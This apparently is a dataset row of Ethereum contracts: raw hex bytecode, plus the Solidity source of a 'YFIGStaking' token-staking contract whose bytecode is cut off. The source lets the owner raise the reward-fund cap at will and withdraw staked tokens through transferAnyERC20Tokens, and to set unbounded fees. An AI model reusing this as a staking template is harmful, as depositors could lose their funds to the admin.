60029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112e0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611374565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114d0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116fa565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b6107436004808035906020019091905050611700565b005b341561075057600080fd5b61076660048080359060200190919050506117c3565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506119a0565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119bf565b005b341561082f57600080fd5b610837611a3a565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a3f565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a45565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d5c565b005b34156108fc57600080fd5b610904611f8d565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e9190612137565b506003805490506004541115610bad57610bac600380549050611700565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211151515610f9e57600080fd5b818111151515610fad57600080fd5b60008114151515610fbd57600080fd5b60008214151515610fcd57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110399190612163565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111b05760016000858152602001908152602001600020600060038381548110151561111057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611190576001820191505b6004548214156111a357600192506111b1565b80806001019150506110df565b5b5050919050565b600080600090505b60038054905081101561127e576001600084815260200190815260200160002060006003838154811015156111f157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611271576001820191505b80806001019150506111c0565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112e861218f565b600380548060200260200160405190810160405280929190818152602001828054801561136a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611320575b5050505050905090565b61137c6121a3565b6113846121a3565b6000806005546040518059106113975750595b9080825280602002602001820160405250925060009150600090505b600554811015611453578580156113ea575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061141d575084801561141c575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156114465780838381518110151561143157fe5b90602001906020020181815250506001820191505b80806001019150506113b3565b8787036040518059106114635750595b908082528060200260200182016040525093508790505b868110156114c557828181518110151561149057fe5b90602001906020020151848983038151811015156114aa57fe5b9060200190602002018181525050808060010191505061147a565b505050949350505050565b6114d861218f565b6114e061218f565b6000806003805490506040518059106114f65750595b9080825280602002602001820160405250925060009150600090505b6003805490508110156116555760016000868152602001908152602001600020600060038381548110151561154357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611648576003818154811015156115cb57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561160557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611512565b816040518059106116635750595b90808252806020026020018201604052509350600090505b818110156116f257828181518110151561169157fe5b9060200190602002015184828151811015156116a957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061167b565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173a57600080fd5b600380549050816032821115151561175157600080fd5b81811115151561176057600080fd5b6000811415151561177057600080fd5b6000821415151561178057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181c57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561187857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118e457600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361199985611d5c565b5050505050565b60006119ad848484611f93565b90506119b8816117c3565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119f957600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8157600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ada57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b3457600080fd5b600092505b600380549050831015611c1f578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b6c57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c125783600384815481101515611bc457fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c1f565b8280600101935050611b39565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000808260008082815260200190815260200160002060030160009054906101000a900460ff16151515611d8f57600080fd5b6000808581526020019081526020016000209250611dac846110d2565b91508180611de75750600083600201805460018160011615610100020316600290049050148015611de65750611de583600101546120e5565b5b5b15611f875760018360030160006101000a81548160ff021916908315150217905550811515611e255782600101546008600082825401925050819055505b8260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168360010154846002016040518082805460018160011615610100020316600290048015611ece5780601f10611ea357610100808354040283529160200191611ece565b820191906000526020600020905b815481529060010190602001808311611eb157829003601f168201915b505091505060006040518083038185876187965a03f19250505015611f1f57837f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611f86565b837f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008360030160006101000a81548160ff021916908315150217905550811515611f855782600101546008600082825403925050819055505b5b5b50505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611fbc57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061207b9291906121b7565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b60006201518060075401421115612106574260078190555060006008819055505b6006548260085401118061211f57506008548260085401105b1561212d5760009050612132565b600190505b919050565b81548183558181151161215e5781836000526020600020918201910161215d9190612237565b5b505050565b81548183558181151161218a578183600052602060002091820191016121899190612237565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106121f857805160ff1916838001178555612226565b82800160010185558215612226579182015b8281111561222557825182559160200191906001019061220a565b5b5090506122339190612237565b5090565b61225991905b8082111561225557600081600090555060010161223d565b5090565b905600a165627a7a7230582011d79715ebab57d603ed97147f15b537dafa8c5ac77b7eab329a846f7b35e8170029 | {"success": true, "error": null, "results": {}} | 1,429 |
0x9e696ddcd01d76389a23600d2ab62e46368541ad | pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YFIGStaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfilend token contract address
address public tokenAddress;
// reward rate % per year
uint public rewardRate = 5000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 100;
// unstaking fee percent
uint public unstakingFeeRate = 100;
// unstaking possible Time
uint public PossibleUnstakeTime = 48 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0), "Invalid address format is not supported");
tokenAddress = _tokenAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0), "Interracting token address is not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function farm(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unfarm(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "Unstake After 48 Hours From Stake");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function harvest() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
} | 0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636654ffdf116100f9578063d578ceab11610097578063f2fde38b11610071578063f2fde38b146106f9578063f3073ee71461073d578063f3f91fa014610783578063f851a440146107db576101c4565b8063d578ceab1461069f578063d816c7d5146106bd578063f1587ea1146106db576101c4565b80639d76ea58116100d35780639d76ea58146105b1578063bec4de3f146105e5578063c0a6d78b14610603578063c326bf4f14610647576101c4565b80636654ffdf146105075780636a395ccb146105255780637b0a47ee14610593576101c4565b8063455ab53c11610166578063538a85a111610140578063538a85a11461040b578063583d42fd146104395780635ef057be146104915780636270cd18146104af576101c4565b8063455ab53c1461039d5780634641257d146103bd5780634908e386146103c7576101c4565b80631e94723f116101a25780631e94723f14610295578063308feec3146102ed57806337c5785a1461030b5780633844317714610359576101c4565b8063069ca4d0146101c95780630d2adb901461020d5780631c885bae14610267575b600080fd5b6101f5600480360360208110156101df57600080fd5b810190808035906020019092919050505061080f565b60405180821515815260200191505060405180910390f35b61024f6004803603602081101561022357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610876565b60405180821515815260200191505060405180910390f35b6102936004803603602081101561027d57600080fd5b810190808035906020019092919050505061099d565b005b6102d7600480360360208110156102ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610efe565b6040518082815260200191505060405180910390f35b6102f561106b565b6040518082815260200191505060405180910390f35b6103416004803603604081101561032157600080fd5b81019080803590602001909291908035906020019092919050505061107c565b60405180821515815260200191505060405180910390f35b6103856004803603602081101561036f57600080fd5b81019080803590602001909291905050506110eb565b60405180821515815260200191505060405180910390f35b6103a5611152565b60405180821515815260200191505060405180910390f35b6103c5611165565b005b6103f3600480360360208110156103dd57600080fd5b8101908080359060200190929190505050611170565b60405180821515815260200191505060405180910390f35b6104376004803603602081101561042157600080fd5b81019080803590602001909291905050506111d7565b005b61047b6004803603602081101561044f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ed565b6040518082815260200191505060405180910390f35b610499611705565b6040518082815260200191505060405180910390f35b6104f1600480360360208110156104c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061170b565b6040518082815260200191505060405180910390f35b61050f611723565b6040518082815260200191505060405180910390f35b6105916004803603606081101561053b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611729565b005b61059b6118b9565b6040518082815260200191505060405180910390f35b6105b96118bf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ed6118e5565b6040518082815260200191505060405180910390f35b61062f6004803603602081101561061957600080fd5b81019080803590602001909291905050506118eb565b60405180821515815260200191505060405180910390f35b6106896004803603602081101561065d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611952565b6040518082815260200191505060405180910390f35b6106a761196a565b6040518082815260200191505060405180910390f35b6106c5611970565b6040518082815260200191505060405180910390f35b6106e3611976565b6040518082815260200191505060405180910390f35b61073b6004803603602081101561070f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119af565b005b61076b6004803603602081101561075357600080fd5b81019080803515159060200190929190505050611afe565b60405180821515815260200191505060405180910390f35b6107c56004803603602081101561079957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c20565b6040518082815260200191505060405180910390f35b6107e3611c38565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461086a57600080fd5b81600381905550919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610957576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806121ad6027913960400191505060405180910390fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550919050565b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600654610aa7600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c5c90919063ffffffff16565b11610afd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122046021913960400191505060405180910390fd5b610b0633611c73565b6000610b31612710610b2360055485611f1790919063ffffffff16565b611f4690919063ffffffff16565b90506000610b488284611c5c90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610bfd57600080fd5b505af1158015610c11573d6000803e3d6000fd5b505050506040513d6020811015610c2757600080fd5b8101908080519060200190929190505050610caa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d3d57600080fd5